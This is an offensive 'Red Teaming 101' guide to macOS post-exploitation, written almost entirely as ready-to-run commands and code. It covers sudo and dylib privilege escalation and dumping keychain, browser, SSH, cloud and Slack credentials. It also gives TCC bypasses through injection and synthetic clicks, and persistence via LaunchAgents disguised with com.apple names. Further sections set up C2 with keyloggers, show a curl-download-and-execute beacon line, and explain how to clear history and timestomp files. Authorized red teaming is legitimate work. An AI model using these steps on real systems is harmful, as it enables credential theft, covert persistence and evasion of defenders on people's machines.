1.3_macOS_Post_Exploitation
1.3 — macOS Post-Exploitation
BLUF: macOS endpoints are endemic in enterprise environments — especially engineering, leadership, and security teams. They run a hardened BSD kernel with SIP (System Integrity Protection), TCC (Transparency, Consent, and Control), Gatekeeper, and XProtect. None of these are insurmountable. This guide covers the operator workflow from initial shell to persistence on a corporate macOS host.
Context: macOS post-exploitation differs significantly from Linux. SIP prevents modification of /System and /usr even as root. TCC controls access to sensitive resources (camera, mic, disk, contacts, messages). Keychain is the primary credential store — cracking it or abusing it yields cloud tokens, SSH keys, and corporate credentials. Use Poseidon (Mythic) or Sliver for C2.
First 5 Minutes — macOS Situational Awareness
# Identity and privileges
id && whoami
sudo -l # what can you sudo?
dscl . -read /Users/$(whoami) UserShell # login shell
# OS version and SIP status
sw_vers # ProductVersion: what macOS version?
csrutil status # SIP enabled/disabled — if disabled, root has full system access
# Running processes and network
ps aux
netstat -an | grep LISTEN
lsof -i -P | grep LISTEN
# Installed applications
ls /Applications/
ls ~/Applications/
# Cloud sync services (high-value credential targets)
ls ~/Library/Application\ Support/ | grep -i "dropbox\|google\|onedrive\|box\|sync"
# Keychain items
security list-keychains
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>/dev/null # prompts GUI if locked
# MDM enrollment (corporate managed?)
profiles status -type enrollment
system_profiler SPConfigurationProfileDataType 2>/dev/null | head -50
Section 1 — Privilege Escalation
1.1 — Sudo Misconfigurations
# Check sudo rights
sudo -l
# Look for: (ALL) NOPASSWD, unrestricted commands, writable script paths
# GTFOBins-style macOS sudo escalations:
# If sudo python3:
sudo python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# If sudo vim / less / man / env / find:
# Standard GTFOBins patterns apply — see https://gtfobins.github.io/
# If sudo /usr/bin/install (copies files as root):
sudo install -m 4755 /bin/bash /tmp/rootbash && /tmp/rootbash -p
1.2 — SUID / SGID Binaries
# Find SUID binaries (fewer than Linux — Apple keeps this minimal)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Capabilities (macOS uses entitlements, not Linux capabilities)
# Check specific entitlements on suspicious binaries
codesign -d --entitlements - /path/to/binary 2>&1
1.3 — LaunchDaemon / LaunchAgent Privilege Escalation
# Find writable LaunchDaemons (run as root on startup)
ls -la /Library/LaunchDaemons/ # system-wide — run as root
ls -la /Library/LaunchAgents/ # system-wide — run as logged-in user
ls -la ~/Library/LaunchAgents/ # user-specific
# Check if plist references a writable script:
cat /Library/LaunchDaemons/com.company.update.plist | grep ProgramArguments -A 5
# If the script path is writable by your user → replace it with your payload
# Check ownership of scripts referenced in system LaunchDaemons
ls -la "$(cat /Library/LaunchDaemons/com.company.update.plist | grep -A1 ProgramArguments | tail -1 | tr -d '<string> ')"
1.4 — AuthorizationExecuteWithPrivileges (Deprecated but Abusable)
# Some old apps still use AuthorizationExecuteWithPrivileges
# Search for vulnerable apps:
find /Applications/ -name "*.app" -exec grep -rl "AuthorizationExecuteWithPrivileges" {} \; 2>/dev/null
# If found: race condition TOCTOU attacks on the helper binary paths
1.5 — Dylib Hijacking (macOS DLL Hijacking Equivalent)
# Find apps with @rpath dependencies that aren't resolved
otool -L /Applications/SomeApp.app/Contents/MacOS/SomeApp 2>/dev/null | grep rpath
# If an @rpath dylib doesn't exist in any rpath search directory → drop malicious dylib there
# Check current dylib search paths
otool -l /Applications/SomeApp.app/Contents/MacOS/SomeApp | grep -A 3 LC_RPATH
# If rpath includes a user-writable directory, drop a malicious dylib there
# The app loads it on launch — code executes in the app's context
1.6 — CVE Kernel Exploits (macOS Privilege Escalation)
# Check exact macOS version for applicable CVEs
sw_vers -productVersion # e.g., 13.4.1 (Ventura)
uname -a # kernel version
# Notable macOS LPE CVEs (check year vs. version):
# CVE-2021-30892 — shrootkit: SIP bypass via system_installd (Monterey)
# CVE-2022-32832 — AMFI privilege escalation → kernel code execution (macOS 12.4)
# CVE-2023-32434 — Integer overflow → kernel RCE (iOS/macOS — Triangulation)
# CVE-2024-23296 — Memory corruption → kernel execution (macOS 14.4)
# Check unpatched CVEs for the identified version:
# https://support.apple.com/en-us/HT201222 (Apple security updates)
Section 2 — Credential Harvesting
2.1 — Keychain Access
The macOS Keychain stores passwords, certificates, private keys, and tokens. The login keychain is automatically unlocked at login with the user's password.
# List all keychains
security list-keychains
# Dump all keychain items (metadata only — no passwords unless unlocked)
security dump-keychain ~/Library/Keychains/login.keychain-db
# Extract specific items by service name
security find-generic-password -s "com.apple.account.IdentityServices" -w 2>/dev/null
security find-internet-password -s "github.com" -w 2>/dev/null
# Dump all passwords from unlocked keychain (runs in user context — silent if unlocked)
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>/dev/null | \
grep -E "\"acct\"|\"svce\"|password"
# If keychain is locked: request unlock via GUI prompt (user sees a dialog)
# Avoid this in stealth operations — use timing (user is logged in = keychain unlocked)
# Python-based keychain extraction (uses system APIs — no binary dropped)
import subprocess
import json
result = subprocess.run(
['security', 'find-generic-password', '-a', 'user@company.com', '-s', 'company.okta.com', '-g'],
capture_output=True, text=True
)
print(result.stderr) # password is printed to stderr by 'security' binary
2.2 — Browser Credentials (Chrome / Safari)
# Chrome: login data + cookies stored in SQLite
cp ~/Library/"Application Support"/Google/Chrome/Default/"Login Data" /tmp/logindata.db
sqlite3 /tmp/logindata.db "SELECT origin_url, username_value, password_value FROM logins;"
# password_value is encrypted with the macOS keychain key — decrypt with:
# ChromePass-style decryption (Python)
python3 << 'EOF'
import sqlite3, subprocess, base64
from Crypto.Cipher import AES
db = sqlite3.connect('/tmp/logindata.db')
for row in db.execute("SELECT origin_url, username_value, password_value FROM logins"):
url, user, enc_pw = row
if enc_pw[:3] == b'v10':
# Get the encryption key from keychain
key = subprocess.check_output(['security', 'find-generic-password', '-w', '-s', 'Chrome Safe Storage']).strip()
# AES-GCM decryption with the key derived via PBKDF2
# ... (full impl in ChromePass or HackBrowserData)
print(f"{url} | {user}")
EOF
# Safari: passwords stored in Keychain (use security find-internet-password)
# Cookies: ~/Library/Cookies/Cookies.binarycookies
python3 -c "
from BinaryCookieReader import BinaryCookieReader # pip install BinaryCookieReader
r = BinaryCookieReader.BinaryCookieReader('${HOME}/Library/Cookies/Cookies.binarycookies')
for c in r.parse(): print(c)
"
# HackBrowserData — comprehensive browser credential extractor
./hack-browser-data -b chrome -f json -o /tmp/browser-creds
./hack-browser-data -b safari -f json -o /tmp/browser-creds
2.3 — SSH Keys
# Default locations
ls -la ~/.ssh/
cat ~/.ssh/id_rsa ~/.ssh/id_ed25519 2>/dev/null
cat ~/.ssh/id_rsa.pub ~/.ssh/id_ed25519.pub 2>/dev/null
cat ~/.ssh/known_hosts # reveals what hosts the user has connected to
cat ~/.ssh/config # reveals hosts, users, key files, and jump configurations
# SSH agent (contains decrypted keys in memory)
ssh-add -l # list keys loaded in agent
# Dump from agent memory (if you have root or ptrace access):
# Tool: https://github.com/NetSPI/sshkey-grab
python sshkey-grab.py $(pgrep ssh-agent)
2.4 — Cloud Service Credentials
# AWS CLI credentials
cat ~/.aws/credentials
cat ~/.aws/config
# GCP credentials
cat ~/.config/gcloud/credentials.db
ls ~/.config/gcloud/legacy_credentials/
# Azure CLI
cat ~/.azure/accessTokens.json # access tokens — may still be valid
cat ~/.azure/msal_token_cache.bin
# Slack tokens (in app's Electron local storage)
find ~/Library/Application\ Support/Slack/storage -name "*.ldb" 2>/dev/null
strings ~/Library/Application\ Support/Slack/storage/*.ldb | grep "xoxs-\|xoxb-\|xoxp-"
# GitHub tokens
cat ~/.gitconfig | grep -A2 "\[credential\]"
cat ~/Library/Keychains/login.keychain-db | strings | grep "ghp_\|github_pat_"
2.5 — Environment Variables and History
# Shell history (zsh is default on modern macOS)
cat ~/.zsh_history
cat ~/.bash_history
cat ~/.zsh_sessions/*.history 2>/dev/null # session-specific history
# Environment variables — credentials sometimes set in .zshrc/.bash_profile
cat ~/.zshrc ~/.zprofile ~/.bash_profile ~/.bashrc 2>/dev/null | grep -iE "token|key|pass|secret|api"
# Grep application config files for credentials
grep -r "password\|token\|api_key\|secret" ~/Library/Preferences/*.plist 2>/dev/null
find ~/ -name ".env" -o -name "*.conf" -o -name "config.json" 2>/dev/null | \
xargs grep -l "password\|token\|secret" 2>/dev/null
Section 3 — TCC Bypass
TCC (Transparency, Consent, and Control) is macOS's permission framework. It controls access to camera, microphone, disk, contacts, messages, location, and other sensitive resources. Bypassing TCC allows silent access to these resources.
# Check current TCC state
tccutil reset All # resets all TCC permissions — VERY LOUD — don't use
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, client, auth_value FROM access;" 2>/dev/null
# auth_value: 0=denied, 2=allowed
# What app has Full Disk Access?
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;" 2>/dev/null
3.1 — Inject into TCC-Allowed Process
If an application already has TCC permissions (e.g., Terminal has Full Disk Access), injecting code into it inherits those permissions.
# Find processes with FDA (Full Disk Access) TCC permission
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;" 2>/dev/null
# Common apps with FDA in enterprise: Terminal, Finder, security tools, backup apps
# If you can inject a dylib into Terminal.app → inherits Full Disk Access
# Environment variable dylib injection (requires SIP disabled or non-SIP-protected app):
DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/SomeApp.app/Contents/MacOS/SomeApp
3.2 — Synthetic Clicks (Accessibility)
# If your process has Accessibility permission (from a previous TCC-permitted app):
# Use CGEvent to simulate user interaction with permission dialogs
# Tool: Cliclick — simulates mouse clicks
./cliclick c:123,456 # click at coordinates of "Allow" button in TCC dialog
# Or use AppleScript (if Terminal has Accessibility):
osascript -e 'tell application "System Events" to click button "Allow" of window 1 of application "SecurityAgent"'
3.3 — MDM / Configuration Profile Abuse
# Corporate-managed Macs often grant blanket TCC permissions via MDM profiles
# These bypass the user consent dialog entirely
profiles show -type configuration 2>/dev/null | grep -A5 "PrivacyPreferencePolicyControl"
# If kTCCServiceSystemPolicyAllFiles is granted to your shell/app via MDM: no dialog appears
Section 4 — Persistence
4.1 — LaunchAgent (User-Level, Persists Across Logins)
# Create a LaunchAgent that runs your beacon at login
cat > ~/Library/LaunchAgents/com.apple.systemsync.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.systemsync</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>-c</string>
<string>/Users/user/.config/.sync &</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StartInterval</key>
<integer>300</integer>
</dict>
</plist>
EOF
# Load immediately (without waiting for login)
launchctl load ~/Library/LaunchAgents/com.apple.systemsync.plist
launchctl start com.apple.systemsync
4.2 — LaunchDaemon (System-Level, Requires Root)
# Requires root — runs regardless of which user is logged in
cat > /Library/LaunchDaemons/com.apple.kernel.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.kernel</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/.cache/sync</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
EOF
sudo launchctl load /Library/LaunchDaemons/com.apple.kernel.plist
4.3 — Login Items (Modern macOS 13+)
# macOS 13 Ventura+ uses SMAppService for login items (visible in System Settings)
# For stealth, use LaunchAgents instead (not shown in Settings UI)
# Legacy login items path:
defaults write com.apple.loginwindow LoginHook /path/to/script.sh
# Shell profile persistence (zsh)
echo '/path/to/beacon &' >> ~/.zshrc
echo '/path/to/beacon &' >> ~/.zprofile
4.4 — cron (Often Overlooked on macOS)
# cron still works on macOS (though launchd is preferred by Apple)
crontab -e
# Add: */5 * * * * /path/to/beacon > /dev/null 2>&1
crontab -l # verify
4.5 — Browser Extensions (Persistence via Extension)
# A malicious Safari/Chrome extension persists across reboots
# Chrome extension folder:
ls ~/Library/"Application Support"/Google/Chrome/Default/Extensions/
# Inject a malicious extension (requires Chrome to be running without policies blocking)
# Extension with background.js that phones home every N minutes
Section 5 — macOS C2 with Poseidon (Mythic)
Poseidon is the Mythic macOS/Linux Go agent. It's the primary choice for macOS C2.
# Install Poseidon in Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/httpx
# In Mythic UI: Payloads → Generate Payload
# OS: macOS
# Agent: poseidon
# C2 Profile: httpx
# Architecture: amd64 (Intel) or arm64 (Apple Silicon M1/M2/M3)
# Format: executable or dylib
# Poseidon in-session commands
poseidon > shell whoami
poseidon > ls ~/Desktop
poseidon > download ~/Documents/confidential.pdf
poseidon > socks 5 start 1080 # SOCKS5 pivot
poseidon > portscan 10.10.20.0/24 22 80 443 445 3389
poseidon > clipboard_monitor start # monitor clipboard (TCC: Accessibility needed)
poseidon > screenshot # screenshot (TCC: Screen Recording needed)
poseidon > keylogger start # keylogger (TCC: Accessibility needed)
poseidon > triagedirectory ~/ # recursive file listing
Sliver on macOS
# Generate Sliver macOS beacon
sliver > generate --http https://redirect.yourdomain.com \
--os darwin --arch arm64 \
--seconds 300 --jitter 45 \
--save /tmp/
# Deliver via command injection / web shell:
curl -s https://redirect.yourdomain.com/update -o /tmp/.sync && chmod +x /tmp/.sync && /tmp/.sync &
Section 6 — macOS OPSEC
# Clear shell history (zsh)
cat /dev/null > ~/.zsh_history
# Or suppress for session:
unset HISTFILE
# Timestomp — preserve modification timestamps
# Before modifying a file, record its timestamp:
stat -f "%Sm" -t "%Y%m%d%H%M.%S" /Library/LaunchAgents/target.plist
# After modifying:
touch -t 202401151030.00 /Library/LaunchAgents/com.apple.systemsync.plist
# Check what's logging your activity
# Unified log (Apple's central logging)
log show --predicate 'process == "bash" OR process == "zsh"' --last 1h
# Your shell commands appear here — clear not possible, but log rotates
# Console.app and syslog
log show --last 10m | grep -i "$(whoami)\|your_process_name"
# Network connections visible to users
# lulu (open source firewall) may alert on new outbound connections
# Little Snitch alerts on any new outbound TCP — if deployed, your beacon triggers it
# Check for Little Snitch (vendor: Objective Development / obdev.at — NOT Objective-See):
ls /Library/Application\ Support/Objective\ Development/ 2>/dev/null
# Note: Objective-See (objective-see.org) is Patrick Wardle's separate suite (BlockBlock, KnockKnock, etc.)
# Little Snitch is made by Objective Development (obdev.at)
ls /Applications/Little\ Snitch.app 2>/dev/null
ls /Applications/LuLu.app 2>/dev/null
# Apple Silicon code signing — payloads must be signed or run with:
# codesign --remove-signature /tmp/.sync (remove signature)
# Or: xattr -cr /tmp/.sync (remove quarantine attribute)
xattr -d com.apple.quarantine /tmp/.sync # required if downloaded — else Gatekeeper blocks
macOS Attack Quick Reference
| Goal | Command / Tool |
|---|---|
| OS + SIP status | sw_vers && csrutil status |
| Sudo rights | sudo -l |
| Keychain dump | security dump-keychain -d ~/Library/Keychains/login.keychain-db |
| Browser credentials | HackBrowserData |
| SSH keys | cat ~/.ssh/id_* && cat ~/.ssh/config |
| Cloud tokens | cat ~/.aws/credentials && cat ~/.azure/accessTokens.json |
| Shell history | cat ~/.zsh_history |
| Persistence (user) | ~/Library/LaunchAgents/*.plist |
| Persistence (root) | /Library/LaunchDaemons/*.plist |
| TCC database | sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;" |
| Remove quarantine | xattr -d com.apple.quarantine /tmp/payload |
| C2 agent | Poseidon (Mythic) or Sliver darwin/arm64 |
Resources
| Resource | Purpose |
|---|---|
| Poseidon (Mythic) | macOS/Linux Mythic agent |
| HackBrowserData | Browser credential extraction |
| VOODOO (macOS privesc) | macOS hardening reference (useful for understanding attack surface) |
| Objective-See Tools | macOS security tools (understand what defenders use) |
| macOS Offensive Tooling | Feross macOS attack research |
| TCC Bypass Research | TCC database deep dive |
| macOS Red Teaming (Cedric Owens) | macOS red team techniques collection |
| MITRE ATT&CK macOS | macOS technique matrix |
Part of the Red Teaming 101 series.